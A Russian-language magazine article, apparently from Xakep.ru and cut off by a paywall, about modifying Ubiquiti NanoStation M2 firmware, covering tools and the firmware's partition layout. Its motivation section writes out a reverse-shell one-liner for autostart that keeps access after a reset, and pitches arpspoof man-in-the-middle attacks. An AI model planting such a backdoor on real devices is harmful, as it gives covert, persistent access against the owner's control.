Зачем оно надо?
Кто-то может с самого начала небезосновательно задать вопрос: а зачем, собственно, ковырять прошивку? Ведь можно взять готовый SDK и собрать свою прошивку с практически любым набором программ. Отвечу. Во-первых, ребята из Ubiquiti свернули программу по распространению SDK, во-вторых, при сборке SDK может возникнуть куча проблем (у меня, например, так и не получилось собрать работоспособную версию кастомной прошивки). Ну и в-третьих, как ни парадоксально, модификация готовой прошивки требует минимум инструментов и времени.
Для чего вообще это все может понадобиться? Для добавления функциональности, не предусмотренной базовой прошивкой. Например, для создания обратных тоннелей. Добавив в автозагрузку вот это:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | telnet remoteip remoteport > /tmp/f
где remoteip
— адрес, куда необходимо подключиться, remoteport
— удаленный порт, можно получить доступ к устройству даже после сброса или смены логина/пароля. Для добавления всяких сканеров (я успешно добавил knocker, это, конечно, не Nmap, но все же), спуферов (собрав тот же arpspoof, можно реализовать атаку man in the middle, тем более что tcpdump уже имеется в базовой прошивке) и прочих прелестей (например, собрав OpenVPN, можно получить доступ к сети, где стоит наша железка, из любого места). В общем, при желании и наличии фантазии можно сделать из NanoStation M2 отличный инструмент для взлома.
Инструменты
Я проводил все эксперименты на прошивке версии 5.5.4, 6-я версия имеет незначительные отличия, но аналогичным образом можно изменить и ее. Все действия совершались в виртуальной машине, на которой был установлен Arch Linux. Прежде всего для работы нам понадобится binwalk. В Arch’e ставим так: pacman -S binwalk
. Также необходим кросс-компилятор для архитектуры MIPS. Тот, который использовал я, можешь взять отсюда. Его нужно распаковать в удобный каталог. У меня он лежит в /root/toolchains/cross-compiler-mips
. Ну и собственно сам файл прошивки XM-v5.5.4.build16501.bin. Еще потребуются утилиты для работы со squashfs, а также какой-нибудь hex-редактор. Я использовал hexedit, установить его просто: pacman -S squashfs-tools hexedit
. Да, для вычисления контрольных сумм я поставил пакет perl-archive-zip: pacman -S perl-archive-zip
, в нем есть скрипт crc32, он и будет нам нужен. Итак, начнем.
Общее строение прошивки
Перед тем как что-то менять, ознакомимся с внутренним устройством прошивки. В общем случае она представляет собой бинарный файл, который состоит из следующих частей:
- Ubiquiti firmware header — заголовок прошивки. Содержит строку с версией прошивки.
- Ubiquiti partition header — заголовок первого раздела (PARTu-boot). Здесь содержится основная информация о разделе u-boot: размер, адреса памяти для загрузки, максимальный размер и так далее. Стоит отметить, что формат заголовков разделов один и тот же, меняются только значения параметров для соответствующих разделов (имена, размеры, адреса памяти).
- Загрузчик u-boot — собственно сам загрузчик.
- Ubiquiti partition header — заголовок второго раздела (PARTkernel). Описывает раздел PARTkernel (см. п. 2).
- Образ ядра, сжатый алгоритмом LZMA. В основном используется ядро версии 2.6.х.
- Ubiquiti partition header — заголовок третьего раздела (PARTrootfs). Описание раздела с файловой системой.
- Образ файловой системы squashfs, сжатый алгоритмом LZMA. С этим образом мы и будем работать.
- Данные, сжатые gzip. Они нам не понадобятся, поэтому опустим подробности, что они собой представляют.
Базовая информация о строении прошивки была получена отсюда.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»